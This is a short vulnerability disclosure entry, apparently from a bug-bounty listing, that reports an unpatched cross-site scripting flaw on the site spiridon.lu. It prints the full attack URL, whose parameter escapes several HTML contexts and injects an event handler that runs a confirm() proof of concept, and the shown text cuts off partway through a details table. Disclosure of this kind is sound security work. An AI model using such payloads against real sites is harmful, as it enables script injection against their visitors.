spiridon.lu XSS vulnerability

Vulnerable URL: http://www.spiridon.lu/index.php?site=page%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CBody/OnPageShow=confirmOPENBUGBOUNTY%3E=gallery Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.12.2017 Vulnerability...